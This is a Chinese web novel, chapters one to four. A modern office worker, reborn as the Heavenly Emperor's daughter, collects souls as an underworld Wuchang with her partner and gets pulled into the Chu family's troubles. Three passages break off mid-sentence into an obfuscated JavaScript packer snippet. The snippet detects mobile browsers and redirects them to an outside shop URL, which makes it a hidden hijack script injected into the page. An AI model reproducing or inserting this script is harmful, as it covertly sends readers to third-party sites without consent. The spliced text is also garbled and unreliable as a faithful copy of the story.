《无常说她不想努力啊!》 1. 第一章 兴州府的楚家自百年前就是城中有名的富商,每年秋季总会有来自各地的商户前来拜访楚老爷。 可今年自打入秋以来,这进出楚家的人就从商户变成了郎中,每每进去之前都信心十足,过不了多久就摇着头叹着气走了出来。 楚老爷的房内此刻密密麻麻站了一群人,最外层的是丫鬟小吏,往里一层是楚家的外戚,最里面的是楚大夫人跟楚家二少爷。 楚家大夫人让楚家二少爷跪在床前给楚老爷念经,自己则是坐在一旁看着躺在床上渐渐停止了呼吸的楚老爷一边抹着眼泪,一边安排着后事。 楚夫人:“老爷您怎么就抛下了我们走了啊。” 楚家二少爷则是跪在地上冲着楚夫人说:“娘您放心,我会管理好楚家的。” 说完楚夫人跟楚家二少爷就一起抱住楚老爷开始嚎啕大哭。 “他们不去演戏还真是屈才啊。”秦霍霍身穿一袭白衣,头戴一顶白色高帽靠在床边看着他们说道。 一旁身穿一袭黑袍同样戴着一顶黑色帽子的白永宁,耷拉着一根长舌头撇了撇嘴不予置否,随即就将原本挂在手腕处的勾魂索往楚老爷身上一甩,用力往后一拉,一个魂魄被勾魂索给硬生生得拽了出来。 被拽出来的时候鬼魂还在不停地挣扎,可是被勾魂索勾住的鬼是无法挣脱勾魂索的,那鬼见自己无法挣脱便大声尖叫起来。 秦霍霍见状将手中的招魂幡拿到他的面前轻轻一晃,上边的挂着的纸钱串竟然在此刻发出了铜钱碰撞的声音。 鬼魂听到了招魂幡的声音痛苦的在地上开始打滚,嘴里还在不停的说着:“无常老爷……别晃了,放过小人……” 秦霍霍这才将手中的招魂幡收起来了,还嘟囔着:“早这样不就好了,招魂幡也挺重的。” 只见这个鬼的脸颊已经瘦的凹了下去,四肢也干瘦的跟棍子一样,但是诡异的是他的肚子奇大,白永宁拿出一道符往他的额头一贴,那个鬼竟然开始呕吐起来。 吐出来的是一些带着颜色的气体,随着气体被不断地吐出,鬼的肚子也慢慢瘪了下去,等到最后彻底看不到肚子了,他也停下了呕吐的动作。 而那些气体也全部流向了楚老爷,楚老爷原本已经面露死色的脸庞,此刻已经恢复了红润,显然这些都是被竹竿鬼吸走的精气。 等到所有的气体都进入楚老爷身体后,他竟然睁开了眼睛。 楚夫人跟楚二少爷见到楚老爷睁开眼,尖叫着:“诈尸啊……”跑出了房间。 楚老爷看着跑出去的两人,差点被气的又要咽气了,张开嘴就想要骂他们,可是由于躺了太久嗓子已经干得说不出话来,只能用拳头在床上一下一下的砸着,借此来表达自己内心的愤怒。 白永宁跟秦霍霍看楚老爷已经没有什么大碍了,就拽着竹竿鬼就离开了楚府往城外走去。 原本高悬于空中的月亮此刻却被不知从哪来的浓雾给彻底挡住了。 突然前方的路上出现了一座城墙,城墙的大门上挂着一个大大的牌匾,上面写着“酆都”二字,俨然已经来到了地府。 城门前还站着两个兽头人身的怪物,牛头手中拿着一把钢叉,马头则是拿着一柄招魂幡。 牛头马面见到白永宁跟秦霍霍立刻行礼喊道:“无常大人。”随即就准备将城门打开,秦霍霍见状立马捂住自己的耳朵,竹竿子鬼不明所以的看着她。 门打开的一瞬间里面传出了万鬼嚎哭的声音,叫声带着浓浓的怨气,竹竿鬼瞬间就被吓得跪在地上痛苦的捂着自己的耳朵。 牛头将手中的钢叉往地上一震,门内的嚎哭声便消失了。牛头马面朝着白永宁跟秦霍霍又行了一个礼,二人便拽着竹竿鬼走进了城中。 城中的样子与阳间并无差别,只是酆都城中空无一人,不时地还会刮起一阵阵阴风。秦霍霍打了个哆嗦裹紧了身上的衣服,白永宁看着她的动作无奈翻了个白眼。 身后的竹竿鬼谄媚的问道:“无……无常大人,您也会冷么?” 秦霍霍回头瞪了他一眼说道:“你没看见在刮风么?” 竹竿鬼看着路上那些被风吹着跑的灯笼,这刮风是不假,可是这里的风根本不会有冷的感觉啊。 “可是……” 秦霍霍没有给竹竿鬼说话的机会而是直接打断了他,“别逼逼那么多,想想你等下怎么跟判官求饶吧。” 竹竿鬼瞬间就蔫了下来,他委屈的说道:“我……我不过是想吃点东西,小人……小人生前从来没有吃过一顿饱饭啊。”说完竟然就直接坐在地上哭了起来。 无论白永宁怎么拽都不肯走,而且还越哭越起劲,鬼哭起来便会带着怨气,此刻竹竿鬼的哭声混着怨气,在秦霍霍听来就像是在不停的尖叫。 这个竹竿鬼原名叫张三,生前因为家里太穷了,所以从来没有吃过一顿饱饭,最后竟然活活饿死了。 死后他就飘到了城中最富的楚府中,天天靠着吸楚老爷的精气为食,因为生前饿太久了所以死后也不知道节制,肚子都鼓得快炸了也不停,差点害楚老爷送了命,还好白永宁跟秦霍霍及时将他的魂魄勾走,不然此刻勾的怕已经是楚老爷的魂了。 “再哭就打散你的魂。”秦霍霍被他吵得实在受不了了,拿出拷鬼棒威胁道。 这竹竿鬼果然瞬间收住了哭声,只能一边抽泣一边委屈的看着秦霍霍,秦霍霍从白永宁的手中抢过勾魂索,直接一把拽起竹竿鬼就走。 酆都城的尽头是一座桥,桥上写着“奈何桥”三个字,秦霍霍跟白永宁将张三的鬼魂拽着过了奈何桥,交到正等在桥对面的牛头马面手中,牛头马面接过便带着张三去往不远处的阎罗殿。 “总算又搞定了一个。”秦霍霍伸了个懒腰对白永宁说。 白永宁将耷拉的舌头取了下来,折起来塞到随身携带的小袋子中。没有了长舌头的白永宁脸庞也清秀了不少,还透着些些少年感,嘴角微微向下表达着着不满,额头上还挂着几根从帽子里跑出来发丝。 白永宁抱怨道:“你每次都不戴。” “太丑了,影响我的形象。”这个舌头属于无常的工作服,但是秦霍霍觉得这个玩意儿实在太影响自己的美貌了,所以一直以来就拒绝戴这个舌头。 阎王虽然不满她的行为,可是也拿她没办法,毕竟她怎么说也是天帝的女儿,只要不出幺蛾子便不在这些小细节上对她有要求了。 白永宁看着秦霍霍的脸,确实是很好看,在这个地府里人人都一脸死相,而秦霍霍却与他们截然不同。 不仅脸上没有一丝一毫的死气,长得也十分美貌,一双杏仁般的眼睛挂在一张鹅蛋脸上,嘴角也总是带着一丝笑意,虽然皮肤很白,却跟阴间那些鬼差的惨白不同,她的白甚至还透着一丝血气,与阴间众人格格不入。 这一切当然是因为秦霍霍本就不是死人。 秦霍霍本来是现代一个普普通通的打工族,刚毕业那会在别的同学还在为了找工作奔走的时候,她已经成功拿到了大厂的offer,在她准备一展拳脚的时候,等待她的却只有无尽的加班以及各种莫名其妙消失的节假日。 不到下班点永远不布置工作任务,一到下班点不是开会就是给你新的工作任务。好不容易熬到周末吧,领导在群里一句:所有人今天加班@全体成员。然后下面一片内卷人开始发送:收到。如果有人装作没看见,那么等待你的就是他的夺命连环call。 在这样长达三年的高压工作下,秦霍霍的身体也出现了问题,一开始是眼睛看不清,后来出现了突发性失明,最后在一次熬夜加班中,她突然晕倒直接住进了医院。 为了生命考虑,她决定辞职让自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150685|150312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回到正常的生活中。 决定要辞职的那天早上,因为前一天加班到晚上十二点,所以她今天特地调休到了十点半再上班。 公司在比较偏远的地方,十点多的时候路上就没有什么人了,只有一些来来往往的车子。 秦霍霍同往常一样骑着共享单车去公司,在距离公司只有一个红绿灯的十字路口,突然一辆油罐车一连撞了三辆小轿车从等待区冲了出来,秦霍霍看着眼前的景象,还没有来得及做反应油罐车以及到了她的眼前,随即便直接将她撞飞出几米远。 等到她再次醒来的时候,她发现自己身处在一个宫殿中,四周都是七彩的琉璃,而自己则是躺在一张泛着光的床上,床边是一个穿着白金色锦袍的老头,此刻正在看着她。 “霍霍啊,你可算是醒了。”老头见她醒来立刻抓着她的手说道。 秦霍霍将自己的手从他手中用力的抽出来,大喊道:“我劝你不要挑战法律,我随时报警抓你信不信!” 老头一脸委屈的看着秦霍霍:“我是你爹啊。” “别瞎认女儿,我爸比你帅多了,而且你知道拐卖像我这样的妙龄少女要判几年么!”秦霍霍一边努力的往后缩,一边使用试图使用法律的武器保护自己。 “你不是一直说爹是天界第一美男子么?”怪老头听到秦霍霍的话,表情更加委屈了,看起来好像还准备掉几颗小珍珠。 天界?秦霍霍又朝四周看了看,确实跟自己认知中的世界不太一样,难道自己穿越了?还穿到了天界? “呃,所以我现在是神仙?”秦霍霍谨慎地问道。 “那是自然,你不仅是神仙,还是天界第一美的神女。”天帝回答道。 “天界有多少神女?”秦霍霍好奇自己现在的美貌值打败了多少人。 “就你一个。” “……” 门口的守卫听到屋内传来天帝的大叫声,刚冲进去就看到光着脚的神女殿下此刻正拿着一个花瓶试图往天帝的脑袋上砸去,在自己跟天帝的安危之间守卫觉得还是活着更重要,故作没看到的四处张望了一下,然后就退了出去,走之前还不忘将门给带上。 天帝还是在花瓶离自己脑袋仅有一寸距离的时候,伸手握住了秦霍霍手中的花瓶,然后用哭腔说:“都爹的错,如果爹不到处得罪人,你也不用去地府当无常替爹赎罪。。”说完也还挤了几滴眼泪出来。 “你说什么?”秦霍霍敏锐的在天帝的话中抓住了“当无常”三个字 之后天帝将自己是天天给阎王传音说他丑,结果阎王不想搭理他,他不开心就跑到地府当着别人的面说他长得丑,然后最终成功得罪了阎王的事情告诉了秦霍霍。 阎王被天帝气得不轻,召集了所有得鬼差准备杀上天界跟他决一死战,最后还是一个判官说要不让天帝来地府当差赎罪,这样阎王既可以使唤他消气,又解决了地府无常短缺的情况。 天帝作为天界之主肯定不能真的去地府当差,思来想去只能让他的小女儿也就是秦霍霍去替他赎罪了。 秦霍霍怎么也没想到自己好不容易穿越成天帝的女儿,竟然还要去地府当打工崽,她看着眼前还在拼命挤着小珍珠的天帝,准备再抄起什么东西砸过去,但是周围可以搬动的东西都瞬间消失了,秦霍霍只能用杀人般的眼神看着天帝,恨不得可以把他身上看出几个洞来。 天帝倒也不在乎秦霍霍想要杀人的目光,不知道从哪里掏出了一本厚厚的簿子放到她的手上。 “霍霍,爹跟阎王说好了,你只要把这本功德簿都划满了,就可以回来了。”说完天帝就将功德簿交到了秦霍霍手中。 秦霍霍看着手里那本比自己上辈子命还高的生死簿,觉得自己这个穿越还不如不穿越,最起码直接投胎还能休息二十几年再出去给资本家赚大别墅吧。 2. 第二章 秦霍霍跟白永宁将张三交给牛头马面之后,便去往阎罗司找阎王述职领功德去了。 秦霍霍掏出自己的功德簿翻了翻,上面现在才可怜巴巴的划了三页,而功德簿却有整整三百六十八页之多,虽然对比白永宁那本有几千页的功德簿已经显得很少了,可是白永宁打工是为了可以升职,而秦霍霍修功德完全是为了替那个臭老头还债。 阎王殿 “为什么我只有半页?”秦霍霍看着白永宁划了整整一页的功德簿,又看了看自己划了还不到半页的功德簿不满地问道 阎王听到秦霍霍的话猛地抬起头,只见他脸上那两撇上翘的八字胡,此刻已经快飞到太阳穴了,他双目圆瞪怒视着秦霍霍说道:“你今日左脚先踏进了我的殿门,不吉利。” “你一个地府工作者,你还在乎吉利不吉利?” “那是自然,就是因为在地府,所以才更要注意。” 其实她心里也很清楚,肯定是臭老头又没事来招惹阎王了,所以自己又被克扣了功德。 “你不能把气都撒我身上,这不公平。”她实在不想自己努力半天的功德就这么没了。 “你说得对。”阎王若有所思的摸了摸两撇胡子,“那这半页也别要了吧。” 秦霍霍听了他的话立马抓起功德簿就往外跑,生怕阎王等下真的把这半页功德给划走了。 秦霍霍到地府工作已经有两个多月了,这两个多月里白永宁增加了十来页的功德,可是她到现在才只有六七页,其中一大半的功德都是因为自己的倒霉天帝爹从而导致被阎王用各种理由给扣没了。 原本阎王已经勒令不允许天帝来了,但是地府众人也不敢拦着天帝,每次都只能任由他随意进出地府。 天帝每次来地府,除了找秦霍霍以外,大部分时间都泡在阎王司里给阎王找麻烦。 最开始是抱怨阎王给秦霍霍安排的工作太多了,后面变本加厉,居然趁阎王不注意偷偷拔人家的胡子,还有一次直接把阎王的胡子剪掉了一大半。 那日秦霍霍同白永宁拘着游魂从阳间回来,一打开酆都城门就听到了阎王的声音。 声音里充斥着满满的怒气,那个被带回来的游魂被吓得原地魂飞魄散,秦霍霍也差点魂魄离体,成为地府的正式工,就连白永宁也被吓得直接少了一魄,还好秦霍霍眼疾手快勾住了他的那一魄,不然白永宁怕是可以直接去轮回了。 秦霍霍也去找过天帝,让他别再天天给自己找麻烦了,天帝每次都态度端正,然后一点不改,久而久之秦霍霍也放弃了,就当是自己上辈子造了孽吧。 秦霍霍刚离开阎王司就看见酆都城此刻已是灯火通明,原本还空无一人的酆都城,已经热闹的如同阳间的市集一般,甚至还有不少小贩支起了小摊叫卖,连街边的店铺此时也都打开了门,一瞬间仿佛这里并不是阴间。 刚到地府的时候,秦霍霍以为地府除了一些鬼差、判官和阎王以外就是阴森森的,没想到一到丑时原本空空如也的酆都城里凭空出现了大批的鬼魂。 白永宁告诉她这里的鬼魂大多都是正在排队等待投胎的,当然也有个别鬼魂是不想投胎的。 原本最开始这些鬼魂也只是在酆都城内无所事事的四处游荡,阎王觉得这些鬼魂既然暂时也无法投胎,就允许这些鬼魂可以在酆都城内像阳间众人一般做一些小生意,久而久之酆都城渐渐得也变得如同阳间的市集一般热闹。 只是这里的鬼魂只在每日的丑时到寅时之间出现。 ………… “有强盗啊!”秦霍霍刚步入城中就听到有鬼大声呼喊,走近了才发现是个老婆婆,正坐在地上哭喊着,脑袋上也缺了一个一大块。 强盗?还有鬼敢在酆都里抢东西?不仅抢东西还敢伤鬼? 秦霍霍掏出怀里的勾魂索,往老婆婆手指的方向一甩,一个健硕身姿的男鬼被勾了出来,只见他手中抱着一个大包裹,正在奋力地挣扎。 只是这勾魂索哪里是他一个小小地鬼魂可以挣脱地,秦霍霍一把将他拉到自己的身侧,拿过他手中的包裹交还到老婆婆的手中。 秦霍霍:“婆婆,您看看有没有少。” 老婆婆在一边说着:“谢谢无常老爷。”一打开了包裹,结果包裹里露出了满满一包裹的勺子。 …… “你怎么连勺子都偷?”秦霍霍还以为这包裹里的东西是银两之类的,再不济也是吃的吧,结果确实满满一包勺子。 那个男鬼见到包裹内的东西也是一脸的哭笑不得,“我以为她拿的是银两,方才她一边说着以后好日子不愁了一边走,谁知道会是一包勺子。” “那你抢就抢了,你还打人,你看看你把人脑袋都打破了。”秦霍霍又指着老婆婆鬼头上的黑洞说。 那男鬼的表情更是委屈不已,“无常老爷,我没有啊。” “还抵赖是吧。”秦霍霍听到他的话又紧了紧手中的勾魂索,男鬼瞬间就痛的在地上打滚起来。 “无常老爷,这还真不是他打的。我家老头子以前是给富人家种地的,那日我去给他送饭,结果那镐子松动了直接砸到我的脑袋上。”老婆婆鬼说着还摸了摸自己头上的洞,“然后我就到这来了。” 男鬼听了老婆婆鬼的话用出一副“你看你冤枉了我”的表情看着秦霍霍。 老婆婆鬼不知道从哪里掏出一根竹棍戳着男鬼的脑袋说:“老婆子我特地托梦让我孙子烧给我开店用的勺子,你这个混蛋连这都抢,让无常老爷抓你去当蚊子。” 说完塞了两个勺子到秦霍霍怀里笑着说:“无常大人,这个勺子你拿着用。”然后仔细地将剩下地勺子包好晃晃悠悠地走了。 秦霍霍看着手中的两个勺子,又看了看跪在一旁的男鬼,思考着到底要不要把他送去法办了。 “有活。”白永宁的声音突然从耳旁响起,把秦霍霍吓了一跳,手上的勾魂索也松了,那个男鬼见状直接一溜烟跑没影了。 虽然现在她已经是地府的无常了,但是白永宁这无声无息突然出现的行为每次还是会把她吓一跳。 “你能不能别跟鬼一样?”秦霍霍看着手里的勾魂锁抱怨的说道。 “我本来就是。”白永宁答道。 好像……确实也没错,秦霍霍将手中的勾魂索收了起来问道:“这次是谁?” “楚宏。” 楚宏?那不是楚家老爷吗?张三被收走之后按道理楚老爷应该已经恢复了才对,怎么又死了? “他家又有饿死鬼?”秦霍霍又问道。 “是被活活气死的。”白永宁说完掏出了一本簿子,里面密密麻麻的记载了许多人的死因。 这个簿子就是无常的工作手册,每当有人死的时候判官便会按区域给无常发放信息。 这些信息就会出现在无常的簿子上,里面会记载那人的姓名、住址、死因跟死亡的时间。 不过这个簿子只有正式员工才有,像秦霍霍这种临时工是不配的,每次要出任务的时候,她只能借白永宁的簿子看看。 而此刻簿子最下面的一行正记载着楚老爷的信息:楚宏,兴州府李子大街二十八号,于今日丑时三刻被妻儿气死,五十八。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150686|150312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦霍霍看完楚宏的死因,沉默了一会“这楚家老爷也是真够倒霉的,刚活过来没多久又死了。” …… 秦霍霍冲着眼前的大门手一挥,院门便打开了,里面传出阵阵哭丧声,白永宁拿出自己的长舌头戴上跟着秦霍霍走了进去。 本来作为无常的二人其实是可以直接穿门而入的,但是秦霍霍实在是不习惯那种感觉,所以她每次出去勾魂都要开门进去,当然不了为了不吓坏活着的逝者家属,所以只有他们两个人可以看到门开,一开始白永宁还吐槽她事多,久而久之竟也养成了必须走大门的习惯。 院中此刻也已经挂满了白布,所有的灯笼也都写上了“奠”字,甚至连府中的丫鬟小吏此刻也都换上了丧服,仿佛他们早就已经准备好了,就等着楚宏咽气就立刻换上了。 秦霍霍跟白永宁熟门熟路的走进了楚老爷房内,楚老爷的魂魄都站在床边冷冷的看着一大群人跪在那。 平常人见了鬼差或多或少都会感到害怕,更有甚者直接晕过去了。 但是这楚宏却很淡然,仿佛死亡对他来说是早就预料好的事情,面对无常的威压也没有丝毫的恐惧。 秦霍霍定了定神色说道:“楚宏,你可知你已死?” 楚宏缓缓点了点头。 秦霍霍又继续道:“我二人为阴司无常,此番是来带你回阴间的,你可有什么未了的心愿?” 楚宏皱着眉犹豫了许久,最终还是开口道:“无常大人,走之前能不能让将我这封遗书交予我的大儿子。”说完便指了指房间里的一个衣柜。 白永宁伸手往里面一掏便带出了一个信封。 “我的儿子跟夫人盼着我死盼了许久,我那个二儿子就是一个胸无点墨的草包,而我那个夫人自打我生病以来,就原形毕露了天天咒我死,我昨日刚醒来这两人就公然让下人准备丧葬礼仪要用的物件,我这才被活活气死过去。” 楚宏看着白永宁手中的信封说道,一边说一边锤着自己的胸口:“我这点家业是我好不容易攒出来的,我不甘心交到这两人的手中。”说着说着甚至开始抹起了眼泪,看来真的是很委屈。 秦霍霍听了他说的话,内心有些许的同情又问道:“那你大儿子呢?” 楚宏用袖子抹了抹眼角的泪,叹了口气说道:“我的大儿子在城东经营着一家油坊。”说到这个大儿子他的脸上流露出了一丝愧疚,“他是我早年外出捡到的孩子,自从我生病以后我家夫人便把他干了出去,不许他再来。” “那小白你去一趟吧。”秦霍霍冲白永宁说道,也不是什么复杂的事情,就当完成老人家最后一个心愿了,也能多给自己积点功德。 白永宁有些不情愿的点头,但他也不想跟秦霍霍争论,毕竟她这个懒鬼是怎么不愿意去的,最后还要跟自己念叨半天,最终也只好拿着信封往外飘去。 “多谢无常大人。”楚宏朝着他们深深鞠了一躬。 秦霍霍掏出勾魂索勾住了楚宏的手臂,说道:“举手之劳罢了,走吧。” 白永宁还没有飘远听到秦霍霍的话,徘腹道:‘你让我去送,你自己休息,可不就是举手之劳么。’拿着信愤愤的往城东去。 秦霍霍带着楚宏刚走出房门,就看到楚夫人跟楚二少爷正坐在大厅中盘点这楚老爷的财产。 便伸手朝着院子中一挥,顿时阴风大作,地上的叶子一股脑地全都往房内吹去,两人想关上门窗,可无奈风实在太大了,实在没办法靠近门窗。 楚宏看到他那混蛋妻儿的窘态,冲秦霍霍拱手道:“多谢。” 3. 第三章 无常大人,我们还不走么?”楚宏看着坐在亭子里发呆的秦霍霍问道。 秦霍霍也不是不想走,可是要等白永宁一起走,不然到时候阎王说她排挤同事又扣功德了,这个阎扒皮可是什么都做的出来的啊。 秦霍霍:“等小白来了再走。” 楚宏想着那‘小白’不是一袭黑衣么?难道穿白无常其实是穿黑衣的? “那位白无常大人?” “不是啊,他是黑无常啊,你没见到他穿的是黑衣么?”小白天天穿着一身黑,除了脸色煞白以外哪里白了?这个楚宏老眼昏花到这个地步了? “那您为何……”楚宏听到秦霍霍的话,疑惑道。 “我觉得叫小白比较可爱,不行么。”无常的名字并不能随便告知别人,所以秦霍霍也只就随便说了个理由搪塞过去,虽然小白确实挺可爱的。 楚宏听罢顿时感到无语。脑内开始浮现小白那张脸,惨白惨白毫无血色,透着浓浓的鬼气,嘴巴上还拖着一根长长的舌头。瞬间打了个哆嗦,这实在跟可爱联系不到一起。 看向秦霍霍的眼神也复杂了许多,没想到阴间的鬼差审美竟如此特别。 秦霍霍看着城内的方向心想:已经过了快半个时辰了,这小白怎么还没来。 她从怀中掏出一个小纸人往空中一扔,小纸人仿佛有了生命一般竟然动起来了,就是看起来跟这四肢好像有点不太熟悉,没飘两步就摔了一跤,连续摔了三四次才正常往前飘。 还不忘回头看看秦霍霍,一副等待表扬的样子,秦霍霍也毫不犹豫直接给了小纸人一个大拇指。 小纸人飘的没影了之后,秦霍霍转头问楚老爷:“你大儿子住的地方很偏僻?” 楚宏摇了摇头说:“我大儿子就住在油坊后面,油坊的位置是在城中最热闹的教坊街旁。” 秦霍霍听罢眉头一皱,心想:‘小白不会被教坊的姑娘勾走了吧,不会这么不守鬼德吧?’ 正想着要不要去找找白永宁,刚飞出去的小纸人却突然飞了回来,秦霍霍伸出手。小纸人刚到到手上就化为了一团蓝色的鬼火,纸人燃烧的灰烬慢慢往上飞去,然后消失在了空中。 ‘怎么会没有探查到关于小白的踪迹。’这小纸人是秦霍霍用仙法所变,上面有一缕小白的鬼气,绝对不可能失灵。 秦霍霍看着城中思索了片刻,决定还是先带着楚宏回酆都城,毕竟她不能带着一个鬼魂到处乱跑,等下人没找到还把鬼弄丢了,那就是大事了。 秦霍霍将楚宏交给了城门口的牛头马面,又交代了几句便急匆匆的往楚宏大儿子家去了。 …… 兴州府分城西与城东,城西是居民区,城东则是商业街,到了晚上城西的路上早已空无一人,可城东却截然不同,哪怕是到了午夜也热闹非常,尤其是教坊街那边,夜晚如同白昼一般。 秦霍霍记得楚宏说过他的大儿子住在教坊街旁,她在教坊街周边逛了一圈,很快便看到了楚老爷大儿子的油坊。 “楚家油坊。”秦霍霍往油坊内探了探,因为此刻正是半夜,油坊内漆黑一片。 秦霍霍往里面喊了几声白永宁的名字,但却没有任何的回应,除了没有回应秦霍霍甚至没有在这里感受到一丝白永宁的气息。 她拿出拷鬼棒跟勾魂索小心翼翼往里走去,虽说此刻是午夜,但油坊内却安静地吓人,仿佛世间万千声音都在这里彻底消失了。 秦霍霍紧了紧手中的勾魂索跟拷鬼棍,虽说她在这个世界的身份是神女,但她本质还是一个普通的现代打工人,一个人在这个万籁俱寂的油坊里,多少还是有些害怕的。 “霍霍。”白永宁的声音突然出现,在寂静的油坊中显得分外明显。 秦霍霍四处寻找,可是却并没有见到白永宁的身影,她试探着喊了一声:“小白?” 声音传出去的那一刻,一双手突然搭上了秦霍霍的肩膀,眼前突然涌现出了许多少女,油坊此刻变成了灯火通明的教坊,教坊中男男女女靠在一起,画面荒诞非常。 “小公子~”秦霍霍回头看见一个女子此刻正靠在自己的肩膀上,只见她穿着一袭浅紫色薄纱裙,衣衫内的景色一览无遗,脸颊上一对腮红跟红唇印着原本就白的脸庞更显惨白,一双眼睛涂着厚厚的红色眼影,正含情脉脉地看着秦霍霍。 “??这是在干嘛”秦霍霍一脸惊恐地将女子推开,突然发现自己的声音变成了低沉的男声,身上的无常服,此刻也变成了一袭浅蓝色的男式长衫。 那个女子被秦霍霍推开之后委屈地看着她,脸上的说道:“小公子,刚才还说奴家漂亮,这会儿怎么就这么对奴家?” 秦霍霍看着她又想靠近自己的脸,忙将她推开。 “我什么时候说你漂亮了,你的脸涂的白的跟个鬼一样,哪里好看了。” “阿霍,你怎么这么对小美人呢。”一个轻佻的声音身后传来,秦霍霍回头看见一个穿着嫩粉色长衫的男子,眉眼轻佻嘴角微微上扬,手上还揽着一个穿着暴露的女子,完全是一副纨绔的样子。那个女子也同刚才的女子一般,画着极其怪异的妆容。 秦霍霍闻声看去,这声音的主人正是她那个老实人搭档:白永宁。 只不过虽然两人长得一样的脸,但是却是截然不同的气质,如果不是他身上散出的若有若无的鬼气,秦霍霍绝对会认为这人跟白永宁是撞脸了而已。 “我找你半天,你在这给我抱姑娘是吧。”秦霍霍冲到白永宁身边将他身边的女子推开。 白永宁仿佛没有听到秦霍霍说的话一般,直接越过了她将那个被推开的女子又楼了回来,那女子如同蛇一般顺着白永宁的手往上攀,最后靠在了白永宁的肩膀上,还不忘亲了白永宁一口,一个红色的唇印便印在了白永宁的脸上。 秦霍霍见他不理自己,还跟这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150687|150312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女子调情,想掏出拷鬼棍往他头上敲去,好让他清醒清醒,可摸了半天竟然只摸出了一根碧玉笛。 “哟,阿霍莫不是准备给大家吹奏一曲?”白永宁看着她手中的笛子调笑道。 秦霍霍已经顾不得那么多了,哪怕没有拷鬼棍,这碧玉笛好歹也是个棍子,抬手就想往白永宁头上打去。 这时,突然从外面涌入了一群画着鬼一样妆容的女子,她们把白永宁扑倒在地上,还时不时发出着诡异的笑声。 “小白……小白……”秦霍霍朝着白永宁得方向大喊道,可白永宁根本不理会她,躺在地上任由那些女子对自己做任何事情。 “白永宁!” “咯……咯咯咯……” 一声鸡叫突然响起。 屋内荒唐的场景瞬间消失,一切又变回了楚家油坊的样子,天边此刻也泛起了微光。 门被人一脚踹开,判官牵着一只鸡走了进来,那鸡高昂着脑袋好不威风。 秦霍霍顾不上跟他打招呼,径直冲到了白永宁身边。 “白永宁” 白永宁躺在地上双眼紧闭,紧锁眉头。身上的衣服已经换回了黑色的无常服,长舌也从他的嘴里一直拖到了地上。 秦霍霍见状立马跑到他的身边用力晃了晃他:“小白……小白醒醒。” 可能是真的晃得太用力了,白永宁竟然真的醒了过来,他看着站在身边的判官还有跪着的秦霍霍问道:“你作孽了?” 秦霍霍听到他的话愣了一下,又看了一眼身边的判官跟自己的姿势,知道他肯定以为是自己犯错了,无语道:“你还记得你来干嘛的么?” 白永宁听到她的话想了一下:“我来油坊送信,然后你跟判官老爷就出现了。” “那中间的事情呢?”秦霍霍又问道。 白永宁摇了摇头问:“中间有发生什么么?” 进门之后的所有事情,白永宁竟然全部不记得了,从他到油坊再到秦霍霍找到他怎么说也过了大半个时辰,这段时间的记忆他竟然全然不记得了。 “这里看样子不太简单,这油坊我刚才探查了一下根本没人。看来要回去问问那楚宏到底是怎么回事了。”一直站在一旁的判官开口说道。 秦霍霍想到昨夜的发生的事情,又环顾了一圈油坊,屋内的一些地方已经结了蛛网,确实不像是有人还在居住的样子。 “嗯,我们先回去吧。”秦霍霍搀着白永宁,但他根本无法站起来。 这才发现白永宁的腿部变得有些透明,看样子魂魄也受到了伤害 秦霍霍见状掏出招魂幡将白永宁暂时收进了幡中,此刻天色已经越来越亮了,出门的时候路上已经有了不少路人,不少小贩也已经出摊。 而一旁的教坊街此刻已经都关门休息了,仿佛昨晚的热闹如同梦境一般。秦霍霍往教坊街落了一道法术,便带着招魂幡跟着判官回了酆都城。 4. 第四章 秦霍霍将白永宁送回住所之后,便跟着判官一同去找阎王了。 一只脚才刚踏进殿门,里边就传出了阎王那充满恐怖色彩的声音。 秦霍霍有一次跟白永宁干完活到阎罗司领取功德的时候,正好遇到阎王在审问一个恶鬼,那会秦霍霍才刚到地府不久,听到阎王的声音时,脑子里立马就蹦出了电视剧里那些光要从下面打上来的阎王形象,进到殿中一看,果然跟电视剧里的差不多,就是差了一盏补光灯。 此刻阎王正以同样的表情看着楚宏,大声问道:“楚宏,你那大儿子是何来历,一五一十道来。” 楚宏年纪又大又刚死没多久的鬼,哪里受的住阎王的威严,吓得趴在地上不敢动。 过了好一会儿才哆哆嗦嗦的开口道:“回……回阎王老爷,那孩子是我三十年前在满香楼捡到的。” “满香楼是什么地方?”阎王的助理判官开口问道。 “是兴州府最大的一家酒楼,当时我刚从酒楼出来,就遇到这个孩子坐在门口,已经快饿晕过去了,我就把他带回了家中。” 判官助理适时的又开口问道:“可是你家富足有余,为何儿子要出去开油坊?” 问到这个问题,楚宏的脸上露出了愧疚的表情,开口说:“我跟我夫人之前一直未有孩子,我见那孩子乖得很,那便将他收养了。” 